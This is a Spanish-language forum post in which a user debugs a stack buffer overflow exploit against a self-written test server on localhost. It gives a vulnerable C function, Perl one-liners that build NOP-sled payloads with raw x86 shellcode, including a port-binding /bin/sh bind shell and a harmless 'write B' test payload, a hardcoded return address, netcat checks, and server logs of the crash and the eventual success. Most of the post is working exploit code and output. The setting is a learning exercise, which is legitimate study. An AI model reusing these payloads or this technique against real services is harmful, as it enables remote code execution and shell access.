Mmm, yo sencillamente modifico el código con un printf y listo xD
La cosa es que ahora se come la shellcode, la empieza por donde no es y me suelta "Instrucción ilegal". Ahora, en GDB gracias a los nops corre xD
Seguiré mirando...
_________________________________________________________
Modf: Vaya con la shellcode...
Añado al codeint vuln (char *trampa)
{
char buffer [100];
printf ("Buffer [0x%08x] contains %s...\n", &buffer
, buffer
); }
NCjuanra@Juanra:~$ nc -vv localhost 5074
localhost [127.0.0.1] 5074 (?) open
sent 0, rcvd 0
juanra@Juanra:~$
Exploitjuanra@Juanra:~$ perl -e 'print "\x90"x12 . "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337
hK 2.0 - By Sagrini (2010) - 22/02/2011 01:04:25
22/02/2011 01:04:25 Got connection with 127.0.0.1:31337
juanra@Juanra:~$
Ejecuto...juanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/02/2011 01:04:19
22/02/2011 01:04:19 Starting up...
22/02/2011 01:04:25 Got connection from 127.0.0.1:58332
22/02/2011 01:04:25 RECV 109 bytes: ������������1�P@��P@P���f̀1�Rfh�CfS��jQP���f̀@�D$CC�f̀��
RRC�f̀��Ѱ?̀A��u�Rhn/shh//bi��RS���
Fallo de segmentación
1. Ejecuto el servidor (port 31337).2. Ejecuto el exploit. El servidor recibe la cadena y queda parado.3. Ejecuto el NC. El netcat dice que se cierra la conexión y el servidor que "fallo de segmentación".¿?¿?¿?_________________________________________________________
Aparte, de pruebas...
Serverjuanra@Juanra:~/Escritorio/Serv$ sudo ./serv 31337
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 22/02/2011 01:13:49
22/02/2011 01:13:49 Starting up...
22/02/2011 01:13:51 Got connection from 127.0.0.1:50840
22/02/2011 01:13:51 RECV 109 bytes: ��������������������������������������������������������������������������������1��1ҲjB��1�C̀1�1�@̀(���
Buffer [0xbffff824] contains ��������������������������������������������������������������������������������1��1ҲjB��1�C̀1�1�@̀(���...
Bjuanra@Juanra:~/Escritorio/Serv$
Exploitjuanra@Juanra:~$ perl -e 'print "\x90"x80 . "\x31\xc0\xb0\x04\x31\xd2\xb2\x01\x6a\x42\x89\xe1\x31\xdb\x43\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80" . "\x28\xf8\xff\xbf" . "\x90"' | hK vc 127.0.0.1 31337
hK 2.0 - By Sagrini (2010) - 22/02/2011 01:13:51
22/02/2011 01:13:51 Got connection with 127.0.0.1:31337
juanra@Juanra:~$
La shellcode sólo escribía una B y salía. Funciona a la perfección